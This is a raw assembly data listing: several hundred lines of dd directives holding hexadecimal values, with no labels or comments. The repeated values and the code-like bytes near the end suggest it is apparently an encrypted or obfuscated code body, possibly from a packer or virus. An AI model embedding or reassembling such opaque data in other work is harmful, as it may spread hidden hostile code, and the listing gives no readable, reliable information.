dd 0CCDF44D7h, 8B44D566h, 32156626h, 3E9EAE38h, 36D1E7ACh
dd 3D156644h, 32156FA8h, 0B3E90611h, 0AC5E1D48h, 0C7BE0759h
dd 0B3F6EF71h, 321562D2h, 36D6E588h, 0B9317AC3h, 21FC4206h
dd 0EF156611h, 755EA60Dh, 2438F3AEh, 4E20C0D7h, 75B8BCC8h
dd 2E9EDCE4h, 0D19C3560h, 3211A5A3h, 0F1966611h, 1609E18Ch
dd 32048F18h, 0F2776622h, 6381525Fh, 3BF16EDh, 817107ABh
dd 0B9766411h, 0BB40421Dh, 36D0E76Dh, 0B3156644h, 321562E7h
dd 1639E111h, 339A69D4h, 0CE156644h, 3214E92Dh, 0CDE96611h
dd 0B14B42BCh, 0DB756280h, 32156632h, 41B36D99h, 2F1B6694h
dd 2302E0BFh, 0D5FEDDFh, 0F2AA6971h, 537439D8h, 0B34E3217h
dd 321562E1h, 36D6E511h, 6E317A0Fh, 32156BADh, 0BDB12222h
dd 6F4C6DA0h, 0FDE04F4Dh, 0BB1A91D5h, 32156629h, 321560F8h
dd 27078488h, 0DB995F10h, 0CDEABCDEh, 0AA90A1EDh, 3712815Eh
dd 3D156644h, 321567A2h, 64459F11h, 0F8316209h, 6A02C168h
dd 9539AC0Fh, 6AD6EF06h, 32157761h, 0E2EA3644h, 53C4B0B9h
dd 0EFB535A7h, 0F345A89Fh, 6545A698h, 3215629Dh, 6DEDEF11h
dd 524DA589h, 3DA98BC4h, 3D749895h, 3215749Ah, 3E966988h
dd 0DB156644h, 32156625h, 0E28E3C75h, 626C23AFh, 4739DC16h
dd 0D0945CB3h, 58D05417h
dd 1316A409h, 0D0C460EBh, 0B31684E3h, 0E00716D3h, 0D2E7E7EEh
dd 0BB6CB166h, 0C2143CF2h, 524D7E12h, 3217E187h, 0C69F6644h
dd 3B90ED43h, 3D128623h, 3215670Ah, 0A79E9344h, 35F575ABh
dd 34916971h, 3D156688h, 321566C3h, 8B440722h, 32156610h
dd 524CA8A1h, 4903AFC5h, 37FC5716h, 21156611h, 89B64895h
dd 83A8E525h, 33128607h, 3463E21Eh, 0BB1A6688h, 3215664Eh
dd 321563CBh, 567BFA11h, 0EA2EEC0Eh, 3255E44Bh, 89756622h
dd 61C63455h, 32018FE8h, 0C20C6644h, 0CC270F42h, 9EA0AACBh
dd 1DF23223h, 0AE404DF5h, 8873FAAFh, 53743C01h, 0B41ABCB3h
dd 32156738h, 3219E32Dh, 0B21A6611h, 3215668Eh, 3215E44Bh
dd 879C6622h, 35F545CCh, 32156061h, 7AABAF44h, 0B937897Eh
dd 0D5C3FE8Ch, 2497698Fh, 0DB156644h, 32156633h, 0A26D8621h
dd 0D93F8D5Bh, 0D35DAF27h, 8DC73FBh, 1651E72Ah, 0B77A5D84h
dd 1651E767h, 7674772Eh, 16496700h, 1679E784h, 76747748h
dd 1679E733h, 0B77A5D1Dh, 3AFD06ABh, 0BD156644h, 0B82E4134h
dd 3D295377h, 32156609h, 0F2AA3E44h, 5370B670h, 3210C1F8h
dd 0B81A0688h, 32156649h, 321561CAh, 2B2B8F11h, 2F911079h
dd 0E9E071Fh, 0D39C3706h, 3211A790h, 0F3966688h, 1619E140h
dd 0B973067Eh, 0D4F5E7C8h, 53100428h, 17A4E383h, 321461C2h
dd 0B9E06611h, 0BB404294h, 36D0E7A1h, 0B1156622h, 1E9262D4h
dd 39FC3AACh, 0E0156644h, 379536A5h, 37712555h, 3E9E6CF8h
dd 0D59C3160h, 3211A1A3h, 0F5946611h, 3215668Ch, 6E315AC3h
dd 162199D7h, 36D1E54Fh, 53DAECE8h, 374D3214h, 32156626h
dd 0B511A692h, 3D49428Ch, 32156CCBh, 0B91A0622h, 32156611h
dd 527407E8h, 3206ED4Bh, 3CFC6622h, 0A2156611h, 0FAB250C2h
dd 0D09466Ah, 5F2264h, 32018F90h, 5A3D6688h, 0DC9DEEC6h
dd 46D3080Ch, 55E2F496h, 0BA266723h, 0DB742597h, 0CDEAB34Ah
dd 22FC9371h, 7156688h, 0C48DB78Bh, 7E508671h, 3139606Dh
dd 5384E7FFh, 33B8DBC7h, 3D1461C2h, 3211C195h, 321E8F88h
dd 34966644h, 9B4C899Bh, 448C2D73h, 3D9B6914h, 0DB156644h
dd 32156628h, 0B04CE044h, 87D68247h, 0AF3E1AFDh, 35F5542Bh
dd 321A8FE8h, 88FF6688h, 0DC89C648h, 8727B038h, 0C80EB423h
dd 5398EDC3h, 3D128650h, 321576ADh, 321E8F11h, 692E6688h
dd 77EB114Eh, 3F93A7F8h, 0F1FCE72Ch, 0B354ED88h, 2052C1ADh
dd 0B3CC674Bh, 2052C1D0h, 0F1D4E7E1h, 0CB54ED44h, 4DC9A7A3h
dd 0CB3C2847h, 4DC9D9DFh, 0CB3C2812h, 5443067Dh, 6815D5A8h
dd 21E50EE9h, 2E9C6644h, 3210DD06h, 0EB3C6611h, 0D0A206D3h
dd 854607B8h, 2B3D66Dh, 1609EDE9h, 0CE11A20Bh, 0FA249EEEh
dd 0FA24A713h, 3206EC1Eh, 0BE1A6688h, 32156649h, 32156ECBh
dd 89E2A011h, 6B3D463h, 2A9769C8h, 3D156622h, 3215749Eh
dd 32188F88h, 3BD86644h, 36C8417Ah, 6D9EF6D1h, 9959B56Bh
dd 3214EC4Bh, 60E96622h, 8D428498h, 75452EB1h, 689C5h
dd 0EDE26464h, 47F89190h, 0C55A4A41h, 0F4FAE79Bh, 337CA541h
dd 0F09639EBh, 1601E18Ch, 321B8F18h, 36906622h, 570FC139h
dd 0B0656B83h, 0D484BA04h, 693152DDh, 3211A290h, 35FC6688h
dd 3D156644h, 0F880EF6Ch, 6EA6B46h, 0F6963FACh, 35976940h
dd 52156622h, 61E4ED77h, 69E07D2h, 0D19C3560h, 3211A5A3h
dd 0F1946611h, 3215668Ch, 6E317AC3h, 0FAAA6942h, 0BB4707E9h
dd 36D7E76Ah, 62156644h, 3215629Ah, 6AD76711h, 6E31720Fh
dd 0C6DAE724h, 5468E502h, 0DB74B99Ah, 0CDEAB02Ch, 0AA90A1B8h
dd 301281F4h, 0CE156611h, 324F97E0h, 1621EF44h, 0B63152A3h
dd 69096776h, 55919509h, 54757A45h, 0B01AB1A9h, 32156612h
dd 53C0B908h, 521BD04Bh, 0B2743B95h, 0B11AE6E8h, 321566D6h
dd 5411D524h, 7DCEB0A3h, 0FEFEE770h, 334C01B4h, 0FEAF348Fh
dd 334C011Eh, 0CAE03CC2h, 3214D8DEh, 0C1146644h, 3E9C697Ch
dd 0DB156611h, 3215668Fh, 8659FBCAh, 0DB9E56DFh, 321566B9h
dd 3209E987h, 0B71A6644h, 32156634h, 321577F8h, 60E27188h
dd 0E47DD24h, 0C3D84667h, 922BB8D3h, 8447A196h, 0B9E44EBBh
dd 0F6964236h, 8C439E15h, 32156688h, 0A7A88C5h, 0FC3C77F1h
dd 0A7AA090h, 0C39C775Bh, 8A459A1Ah, 218F4A33h, 74C4DB44h
dd 0DA247A20h, 1EF64319h, 0B0100769h, 1F75D97Eh, 53D4F1CBh
dd 3D4DA765h, 321563AAh, 76A30611h, 0D9940771h, 309C17CDh
dd 6BA5A3h, 0F93C04C1h, 6B8D09h, 0F1940494h, 309C17ABh
dd 8C733771h, 0B24FBF3Ch, 0DB741597h, 3215662Eh, 9D579068h
dd 5871349Bh, 0A45F1681h, 1CE3A9h, 0B9E061F1h, 0D206EF1Dh
dd 1DFC9343h, 0CAEA99D9h, 0AA90A1E8h, 3012815Eh, 52156644h
dd 0E03CE29Bh, 2893696Dh, 0DA156688h, 32156650h, 6E0C5562h
dd 0F370BE5Fh, 0A6FA1817h, 0FC9356E6h, 0F18686B3h, 3BFC074Eh
dd 0F0156688h, 0E9D0F157h, 0E146D1BFh, 1609ED47h, 3211A209h
dd 0B51A6644h, 32156625h, 3214E81Eh, 3DEC6688h, 0DB7568F2h
dd 32156630h, 0C00C9763h, 8C61498Ch, 38324989h, 0EB2886B9h
dd 6175F928h, 537493D6h, 3D959FC4h, 32154AA1h, 0D9949A11h
dd 421B1D98h, 8D42AD45h, 421B1D32h, 0CE4A9D10h, 0DC94950Fh
dd 0CDEA99BBh, 547595A5h, 0C395B79Ah, 0BCFC07D7h, 0CE156644h
dd 30F9E5DAh, 1609EF77h, 0CB3D993Fh, 0BC1A3D22h, 3215662Ah
dd 0F49E0071h, 53EBD987h, 0DB96B7B3h, 321C8FDDh, 3C466611h
dd 83679B26h, 67E59974h, 0FC2CAD9Fh, 3AF8E70Fh, 0C53383F2h
dd 0C8D8E799h, 0B368180Eh, 4D7966FCh, 0B9FC47F5h, 0F6964268h
dd 0EC940626h, 4CC0F8C7h, 3217E387h, 0C09E6644h, 32058F43h
dd 76806611h, 881CB95Bh, 0A6BA2BEDh, 1FE031C0h, 0D994F8E7h
dd 579A262Ah, 8C43AD6Dh, 579A2680h, 524B9510h, 7BA1BE02h
dd 3B90ED25h, 0CA128610h, 219CF39Ah, 0CBE96168h, 33B8DBC7h
dd 3D1461C2h, 0CDE2EA95h, 0B01A9A77h, 32156645h, 3DCD5DDAh
dd 32152693h, 0B9730688h, 0B3730693h, 0DBE020D2h, 32156614h
dd 2379F209h, 3D740720h, 321561A9h, 0C6950611h, 534D3740h
dd 0B41AB57Dh, 0CDEA8B92h, 321569F8h, 0E1C9DC88h, 0BEDF8E73h
dd 0EB5BB9C0h, 6FE24EA5h, 3EEA3074h, 1621ED60h, 3211A2A3h
dd 0DBED6611h, 3215669Ch, 0AC9BF62h, 0C9F12157h, 61A13C7Eh
dd 1602A5B6h, 8B2866C5h, 0C09C3471h, 0BB4FB598h, 3D753D51h
dd 321563C4h, 19CEDD22h, 96AB0710h, 5356E2A3h, 545D913h
dd 0EDE235D7h, 33D28190h, 0B352670Ch, 3A7062B3h, 6DEC4F1Fh
dd 0F3949F38h, 0F1D030Dh, 37AD36B1h, 0B3156622h, 3F289BD0h
dd 0B3D44FC3h, 3F289BADh, 60E03E69h, 8146FAA7h, 0C4FEE6F6h
dd 0D1958594h, 6FE6E630h, 0BA4EB811h, 0DA753C78h, 32156657h
dd 0EE1E48D7h, 0BD7B8FE3h, 1B94B953h, 9ABF276Dh, 0B3D8C74Dh
dd 614C53C3h, 0DA463DDCh, 32156656h, 1FF0F3B0h, 11F2937h
dd 6F6EEEC3h, 0EBDB77Bh, 6C4C21D9h, 0DBBF9F70h, 32156684h
dd 0FE12510h, 0BEDC5927h, 29B8403Ah, 0F324AEB9h, 99E0AE75h
dd 3D4C3742h, 3215659Fh, 0C9A26988h, 321D8F25h, 0C9926622h
dd 0A3933BF1h, 0F3FCE3E0h, 3DEA9996h, 321567ADh, 88479311h
dd 32156688h, 8B449445h, 32156622h, 339FB710h, 0BF1A3CD1h
dd 3215665Dh, 32048E42h, 0A01F6611h, 19EDB974h, 0F2A2F2A6h
dd 76A21EAFh, 686ACD64h
dd 3DFD5AE9h, 321528C0h, 0DE969E22h, 1619EF15h, 6A427831h
dd 0E3E4E761h, 0F356112Dh, 0DB9463F8h, 6052BC7h, 3B7097C5h
dd 0FB9454D6h, 784929CEh, 5DCA8F09h, 0FA9C9999h, 8873067Bh
dd 53E0FFD2h, 3214D861h, 32188F44h, 7C206622h, 0F6A75746h
dd 0F20A3C38h, 5AD9DF21h, 32153F39h, 0DB317A98h, 32156680h
dd 488E52D7h, 0A35D3F3Eh, 3239FC79h, 1621EF88h, 32068F1Fh
dd 6BAD6622h, 58BB83ADh, 0E4ABC97Fh, 645D0E7Ah, 61524A3h
dd 33AD3667h, 37156688h, 4AEF2D3Ah, 4C389623h, 316D9C5Ah
dd 63E03E90h, 5544DE14h, 66AC2970h, 35A3476h, 0F9143E49h
dd 239E691Dh, 52156622h, 32156EF8h, 0CF20E788h, 0B47D5A03h
dd 53CAED94h, 60FDD542h, 0C29DB800h, 54753D1Eh, 3837BCA3h
dd 0A0CBDD77h, 0BC1ACCE9h, 32156648h, 3213E82Dh, 0B31A6611h
dd 32156688h, 3D0EA5C5h, 0D99469BFh, 6D60731Bh, 0F1949DA1h
dd 6D60734Eh, 3D0E8DA3h, 0B375698Ch, 9ACB1C43h, 8D42077Fh
dd 32156626h, 0E9E9D38h, 36D1E5ACh, 320AE14Bh, 54756622h
dd 0DAF6E2A8h, 3215669Bh, 90E92179h, 0E50BD66Ah, 0FF9685DEh
dd 0B517492Ah, 69A4B4C4h, 3CD5743h, 3DCD57D2h, 32156102h
dd 53750644h, 53C4D92Dh, 2A9769BAh, 52156688h, 0DB98AFC4h
dd 3215662Ch, 0C94434DFh, 0E9428ED2h, 5357CE83h, 0CD746F23h
dd 0B34E4225h, 3215624Ch, 67479344h, 99225B9Fh, 37F0A732h
dd 0D58E8B09h, 0D89C1322h, 68C3677Fh, 79C8E671h, 0C19400DBh
dd 534DCB80h, 0BB118AA1h, 7A7D420Dh, 6967BBA7h, 0D194BDB3h
dd 94F2031h, 0B31685D0h, 0DFEAE74Bh, 69CDEFF3h, 21FC0642h
dd 9C156611h, 0F3954A15h, 7585CA28h, 97544CBBh, 348E8618h
dd 0B373F409h, 5313CEA7h, 0F1CFE744h, 89750754h, 9E8CD93h
dd 32156FADh, 700AAA22h, 96720CEFh, 0F1746F08h, 32078F24h
dd 0A33E6622h, 78F22FCAh, 0F88706FBh, 0B347B80Ah, 0D903CD04h
dd 53178691h, 322396E0h, 1619EF44h, 3219E92Dh, 35FC6611h
dd 0D3156688h, 0B2004067h, 0CD738572h, 1E940027h, 542F73ACh
dd 5447001Ch, 542F7398h, 6873B610h, 32156861h, 0E8AB2D44h
dd 6C93262Eh, 6615C455h, 3D07B032h, 32157FC7h, 21986922h
dd 0DB156611h, 32156686h, 27AB6A5Ch, 0C6D6F3AAh, 0EB71B1ACh
dd 0F129A27Ah, 3391E24Bh, 54756622h, 0D621A690h, 5309A108h
dd 0B61AAD78h, 32156750h, 5C48DE71h, 0E745BF8h, 0FA916986h
dd 3D156623h, 32157594h, 34FC0688h, 0DE156644h, 231E6FBCh
dd 0AED3E718h, 536CBB0Bh, 0B61AAC78h, 32156785h, 3218E81Eh
dd 3AFC6688h, 0A2156644h, 8AFD646h, 5495C39Fh, 3D3099B5h
dd 3214D4C0h, 8B730622h, 21FDBDC1h, 55156688h, 447684ECh
dd 834D8554h, 4A62D28Fh, 0BF086629h, 21FD05B7h, 76156622h
dd 2F9655D3h, 8E8D0156h, 24A5D67Eh, 0FB5D4730h, 6B4CB9A6h
dd 1C2800E9h, 649069BBh, 3D156622h, 32156791h, 88479F88h
dd 32156646h, 309F9423h, 0B331729Ah, 3215624Ch, 0C0950644h
dd 379469FCh, 54156611h, 7CF2A809h, 4EA90E25h, 269C6622h
dd 0B235D435h, 0E2355662h, 0B973061Eh, 5AAE00FBh, 9229078Dh
dd 337AE287h, 0B21A6644h, 32156627h, 0C74D3571h, 1619EDE9h
dd 0B3F4EF15h, 321562E3h, 36D4E511h, 6E316A0Fh, 3200EC4Bh
dd 22FC6622h, 3E156611h, 1D76F72Bh, 5159B459h, 0B579C41Ah
dd 67DD6DCBh, 0CC10A135h, 0F5F8E775h, 63249827h, 0FA9C8F98h
dd 0DBE93BD1h, 32156655h, 6A1CABEAh, 0F211BB36h, 0D14AED18h
dd 1D072A97h, 33A38FD0h, 0DB756611h, 3215669Ah, 0C1D4970Eh
dd 76FBD8D5h, 2A0BAD23h, 0A26A0103h, 0F4956274h, 0B71A0787h
dd 3215661Fh, 329169E8h, 0B3156644h, 0BBFB93F5h, 0FB240721h
dd 32156161h, 760BB944h, 0AD21C1C0h, 32156DF8h, 4414C288h
dd 0C802CF50h, 67A6E02Dh, 4FD4D847h, 0FC9424CCh, 41195917h
dd 0E4E2B8D5h, 0F49488C0h, 0F44CA69Eh, 0CE4B976Dh, 3215D5CBh
dd 88730611h, 26FDC73Bh, 87156644h, 0F47FA1DFh, 9AAD61D9h
dd 557E22E5h, 9B0822DBh, 0B34C656Ch, 514142D3h, 64743FB5h
dd 321565FAh, 6C4C3022h, 321572F8h, 89B52788h, 9CA7E5D6h
dd 65C2B01Bh, 0A37AFE81h, 6786149Fh, 32738FF0h, 67ED6622h
dd 84113EACh, 32AB30CAh, 1B156644h, 6CE0E1CCh, 4AE0E75Ch
dd 0B322CB8Ah, 86556AA1h, 0F7942301h, 0CF4ED9E8h, 52488F01h
dd 3EFC36BDh, 27156622h, 2CF89566h, 0D363B2C2h, 6BA425FBh
dd 32378F43h, 0B71A6611h, 32156689h, 627D30BDh, 6C4B5F2Fh
dd 8A45B8E6h, 7F982B15h, 66552069h, 6AD367CDh, 0CE4B9798h
dd 6275C27Bh, 6C46371Bh, 0BF9E077Bh, 35F57598h, 319D69E8h
dd 54156644h, 0B7749EA9h, 219069D8h, 0DB156688h, 32156643h
dd 86F245D2h, 0BBC88A7Fh, 0D206EF3Dh, 6EA9343h, 0F6963F06h
dd 8C730615h, 5A74A54Ch, 32156645h, 0B13162A9h, 547562D5h
dd 2ACB9109h, 321561ACh, 0EB0E2122h, 0D8D21B2Eh, 32156F60h
dd 0D596BB44h, 5ED9E576h, 694B9F18h, 2F9669E9h, 3D156644h
dd 321571AAh, 32078F11h, 3556688h, 8999DFE1h, 1F3B99CCh
dd 0FC765C70h, 32274CCh, 0CD739A87h, 6940014h, 5461D635h
dd 0B1316203h, 7736480h, 0B41A1292h, 32156616h, 0D1FBE6E8h
dd 0E7496CFh, 8F9169E1h, 3D156610h, 3215760Eh, 389B6944h
dd 0DB156622h, 32156614h, 67C11903h, 0BA46340Bh, 69CFEEE1h
dd 3D4FB599h, 3215730Dh, 32058F44h, 228F6622h, 1D4B9543h
dd 87CE7BA6h, 0E6A99425h, 87446A32h, 37F0A613h, 0B22F9308h
dd 0E7E3E6B1h, 0C795A3DCh, 6BFE46E7h, 3219ED87h, 0BD1A6644h
dd 32156624h, 3215E31Eh, 0C9956688h, 9C916934h, 3D156621h
dd 32157F9Fh, 22FC0688h, 4B156644h, 0C6047A90h, 82C0920Ah
dd 5483A84Dh, 0B977338Dh, 0DB2907ECh, 333FE21Eh, 3D756688h
dd 321566C4h, 0E749F22h, 2B9169FAh, 0CA156689h, 4C98DE24h
dd 0DD9418A2h, 3D5B37CFh, 3DD75AE9h, 321465C0h, 0F3940622h
dd 259E13E4h, 8FEC7030h, 20FC0758h, 5156622h, 6C9708C3h
dd 33F017A0h, 52BFAFE1h, 0C263E381h, 3DDE5A56h, 3215B10Ch
dd 851A0644h, 0F29400D5h, 5474662Fh, 3D3099B5h, 3215A5C0h
dd 399B6922h, 0DB156611h, 3215668Eh, 0E55ACFD8h, 0F82935E4h
dd 32BFE21Eh, 0B2756688h, 3AFC30ADh, 1D156622h, 0E06FEFECh
dd 5362019Bh, 0B61A8578h, 321564CFh, 32156DF8h, 0F1EADF88h
dd 12E49DE2h, 0F9286CDBh, 0CD3B5B77h, 3254E387h, 63ED6644h
dd 3215649Bh, 0B8E46711h, 1619ED89h, 3211A2C5h, 54EC6622h
dd 0F5A03743h, 0D83DD13Ah, 54C5461Dh, 32058F78h, 197C6611h
dd 0A5D9BAA5h, 0CA36D510h, 0E9562F8Dh, 92299F72h, 3223E287h
dd 60ED6644h, 4D761498h, 0C5CF9159h, 30F7A75Ah, 0C094BCB3h
dd 5A80162Fh, 3024DB44h, 0D824D01Fh, 68C5EF19h, 30936942h
dd 52156611h, 0F2AC00E9h, 92FC072Bh, 0CA156622h, 219CD398h
dd 26FC6168h, 63156644h, 1BCE571Ch, 0F8007622h, 4852BD5Fh
dd 38E044A4h, 0BF7AB0E3h, 0D489EB8Ch, 8C73068Fh, 35FC60D7h
dd 0C8156622h, 2ADC75CDh, 3D7447C4h, 32157EC6h, 32068F22h
dd 0F8336611h, 953B3F12h, 3ADF1A34h, 0BD4C1B13h, 7A763A0Dh
dd 0DBC699C3h, 32156655h, 813C3D52h, 5FEE94F7h, 0C4A65F4Dh
dd 86DA3490h, 32140E14h, 369E6611h, 36D1E7ACh, 3D156644h
dd 321578A7h, 26FD0611h
dd 1B156688h, 609C638Bh, 0C997EB70h, 3DFAD94Ch, 814DE3ADh
dd 681762A3h, 0F1743C71h, 3219ED1Eh, 0BF1A6688h, 32156642h
dd 3215E52Dh, 0BB446611h, 36D4E769h, 0B3156644h, 321562CBh
dd 1619E111h, 1611EFD4h, 3205ED4Bh, 39FC6622h, 62156611h
dd 0F35B5101h, 719F6076h, 8B443DB0h, 32156601h, 3EA9789h
dd 0BBED3F1Ch, 0D23A37A7h, 33906916h, 0CA156688h, 6A3152BBh
dd 0CB11A2A1h, 3209DB44h, 0DC146688h, 0B1314ACFh, 3BFC62E6h
dd 13156611h, 342445B2h, 6781FE8Bh, 2750DBAFh, 0B21A61F1h
dd 32156683h, 32966924h, 3D156622h, 9F74A0AEh, 31B66371h
dd 76161CDAh, 8D424206h, 488B65B2h, 0CB4A9EA1h, 3206EF4Bh
dd 0B91A6622h, 3215661Ch, 32156E61h, 60C60F44h, 0D813F406h
dd 0B375CDFFh, 88EE9163h, 321B8E03h, 0DF7D6622h, 0F7EACDE4h
dd 638DA43Bh, 2E195025h, 2A037D9Bh, 0BF743908h, 0D2071F35h
dd 0C7B89E43h, 0AC66AA27h, 16516554h, 0FEA833ACh, 1B50F837h
dd 54753BCAh, 851ABF9Ah, 0BB440752h, 36D4E7A5h, 0B3156622h
dd 321562F8h, 1619E188h, 1611EF18h, 35FCCDD7h, 5156611h
dd 747BC869h, 8F983401h, 35F54043h, 3AFCCBEDh, 24156688h
dd 3FDA4747h, 1F42DE4Eh, 6ACA248Ah, 1A31228Bh, 73B6DC16h
dd 785758E5h, 312D9490h, 0E2140090h, 0DBBE9F1Eh, 32156636h
dd 9BF8B226h, 71C44E36h, 0ABA4727h, 4184F5ECh, 9386B860h
dd 64315203h, 0F49480CDh, 32156626h, 3211A090h, 6926688h
dd 0DBE93A60h, 32156636h, 6AA1AA2h, 5378B99Fh, 7F694FBEh
dd 73EF2FC6h, 2B92E704h, 32068F4Bh, 0F276644h, 4DD35D41h
dd 94F3F9E8h, 45AB3868h, 545F8616h, 0D29C3657h, 32156214h
dd 32114B88h, 36926644h, 69C3A06h, 39986935h, 0DB156688h
dd 32156642h, 2BD3DB7Fh, 0AF98BDF8h, 35F3FD44h, 321574ADh
dd 4B7EF022h, 0C0868713h, 603360AEh, 0AE41447Dh, 0CD9EAB60h
dd 39FC06C2h, 0F2156688h, 6A6C9796h, 2DC0EBD5h, 0B31ACFC4h
dd 3215668Eh, 3215E54Bh, 0DB746622h, 0CDEA9B16h, 0CBA269E8h
dd 321569ADh, 46B9B622h, 0F8364374h, 0F74137FDh, 61C11BFEh
dd 0CEDFFC61h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0A21C97C0h
dd 0A8ED96A5h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h
dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah
dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh
dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 426D849Dh
dd 0DA32DCF1h, 0BA8DF2B8h, 0A8EDD871h, 458A42C3h, 58DDAEA2h
dd 0C88260D5h, 0B3399638h, 0DF07462Dh, 534FC32Ch, 3C6D5h
dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 0D4598FA7h, 0D9FB5645h
dd 0A2189BB0h, 0DD7BAEA5h, 5863E96Fh, 0ABA851A2h, 3075195Fh
dd 8B32DCAAh, 168DF2BBh, 0C626CB2Fh, 967512CDh, 0BD54142Bh
dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 16EB00h
dd 4 dup(0)
dd 1000000h, 3B401h, 6A07E700h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 1299C350h, 0E5690D7Ah
dd 20A98D8Bh, 8A5007E0h, 240489F4h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 0E1C35343h, 8BA33EB3h, 0B31E37B9h
dd 6E919h, 0A6700000h, 394AB55Ah, 6A006Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 430F7DC3h
dd 7BC23C41h, 8B0F0BEFh, 0F006AC8h, 9D89F8B7h, 7E024F5h
dd 98BC858Dh, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0D1275CC3h, 2C35BD8Bh, 669007E0h
dd 509118B9h, 9E8h, 0E8175700h, 14F799AAh, 0F305E983h
dd 3CB8BA4h, 56EABFDBh, 0F7FD5032h, 465C0082h, 77892BCh
dd 0DD7ED256h, 56BF4DDEh, 0CABB132h, 984E5BB3h, 0DAE5B6D4h
dd 5675B125h, 56BAA3DBh, 9135A232h, 83C7FF9Dh, 0A4F305E9h
dd 9D11F1B0h, 75FD7AF2h, 0D317FB23h, 25FA9D7Ch, 0FDF53FD5h
dd 9242EBADh, 0B7342290h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah
dd 987C2779h, 721ABA7Bh, 0CAE5FFA0h, 0F305E983h, 8DDB8BA4h
dd 0E7D69CBDh, 0F28D8D07h, 0B807E860h, 32156644h, 0E9C1CF2Bh
dd 0D0073102h, 4C783C8h, 60F67549h, 0F606061h, 8Eh, 0F6816600h
dd 81610929h, 86B9ADCEh, 81506129h, 7262404h, 565870BCh
dd 0BC0726BEh, 5EF02970h, 0B1BD83F5h, 7E006h, 0BD830975h
dd 7E001C5h, 50197400h, 0B8C08B53h, 411h, 23998589h, 9D8D07E0h
dd 7E2BCC9h, 585BD3FFh, 1C5BD83h, 740007E0h, 0B8535017h
dd 411h, 23998589h, 9D8D07E0h, 7E2B96Ah, 585BD3FFh, 78B0Fh
dd 850F0000h, 1, 66F860F8h, 618F7AB9h, 76BE5650h, 1436F12h
dd 5E042474h, 12762D58h, 8B60436Fh, 0C7EE81C8h, 610B680Eh
dd 0BC8D8DF8h, 5607E864h, 219589h, 895F07E0h, 0E018158Dh
dd 65B52907h, 0C707E026h, 0E0204985h, 6A0C07h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 28E3C667h, 49DEA71Ch, 6810F2Ch, 8B000000h, 0E01B9195h
dd 81952907h, 0C707E000h, 0E022C585h, 7, 819D8900h, 0FF07E013h
dd 0E006D5B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 0B49E75Eh, 21C780F5h
dd 209195FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 6B6C06C3h, 0E519CA6Fh, 0F280B479h
dd 0FF006A32h, 0E018A995h, 0EBC08B07h, 0B5C90669h, 0AD340D87h
dd 40F4E831h, 993B2CDEh, 60319586h, 803960A0h, 0F90A9D94h
dd 0E7196CFCh, 5346D49Ah, 0B60933B0h, 695BB02Bh, 9DC1F3ABh
dd 96B0695h, 0AF06117Eh, 0F3CC9857h, 0D50490h, 1E7EECC1h
dd 49D822D5h, 35A8D056h, 0B231574Eh, 1F5AB0C4h, 0CCB965C0h
dd 1D2278A2h, 4B09DEE7h, 69C4B1FEh, 600BB2CEh, 5E822FAh
dd 0D1000000h, 6B760E8Bh, 805FD78Bh, 0C781DDE5h, 5A88h
dd 0A371E181h, 68473Ah, 60000000h, 0CE9h, 0F87C1E00h, 0CD5C865Eh
dd 290DBA75h, 0CFBF0F4Dh, 0BF0F5E61h, 37048BDBh, 0C081DE8Bh
dd 13EDA05Bh, 0E15958Bh, 0C08107E0h, 3D22ED87h, 0E881C88Bh
dd 464B2D43h, 50DFDD80h, 341428BBh, 37048F68h, 7E9h, 498F2C00h
dd 0DDB15E3h, 83F7DB80h, 0FE8104EEh, 0FFFFA624h, 1F850Fh
dd 8D310000h, 7E03105h, 26E9h, 0A3E04100h, 7A370505h, 0FCFCE970h
dd 0CB049E01h, 628B5578h, 0D1B529E5h, 0E907E006h, 0FFFFFF8Dh
dd 5E89394Bh, 0E8C37765h, 11h, 0D23C3199h, 0C6B08035h
dd 0F92816D6h, 8F4296C2h, 830F5A0Fh, 4, 0B9A7BB66h, 6C0FC281h
dd 9D8B0000h, 7E012E5h, 0BB6C31B9h, 0FDF18168h, 0B468BB76h
dd 8B3A8BAAh, 0E01A2985h, 6BC78107h, 5700B912h, 0BE8h
dd 21F04000h, 2948013Eh, 0A588C572h, 8F0Fh, 5E580000h
dd 0E973EF81h, 858B14F0h, 7E02F55h, 8133C781h, 8E9423Dh
dd 0FD000000h, 749BFE55h, 5793B41Ah, 31999589h, 28F07E0h
dd 333D9D01h, 0EA8307E0h, 1D858B04h, 8307E01Dh, 850F01E9h
dd 16h, 6850Fh, 858B0000h, 7E00021h, 36E9h, 0B809600h
dd 880FD81Eh, 14h, 0FE9h, 67E5E700h, 0AE33FF69h, 0E556C488h
dd 0E8D37FA0h, 0FFFF64E9h, 0FE446AFFh, 0D83F8EF4h, 0A946FABCh
dd 326AFBC1h, 0E9D4A3E1h, 0EDh, 0D88C6660h, 840F04A8h
dd 0DFh, 3421B58Bh, 0FE8307E0h, 22850F00h, 0C6000000h
dd 0E0075985h, 69684507h, 0FF8E7269h, 0E02F01B5h, 0E8858D07h
dd 0FF07E37Fh, 0FD8589D0h, 8B07E028h, 0E93E80F0h, 31850Fh
dd 858D0000h, 7E58E9Eh, 0BD8BD0FFh, 7E02A89h, 1184C781h
dd 0B58B0000h, 7E03421h, 8B9F787h, 0F3000000h, 21B58BA4h
dd 8D07E034h, 0E3B33285h, 8BD0FF07h, 0E02165B5h, 0FE8307h
dd 22850Fh, 85C60000h, 7E00759h, 0BEF46854h, 0B5FFFF4Eh
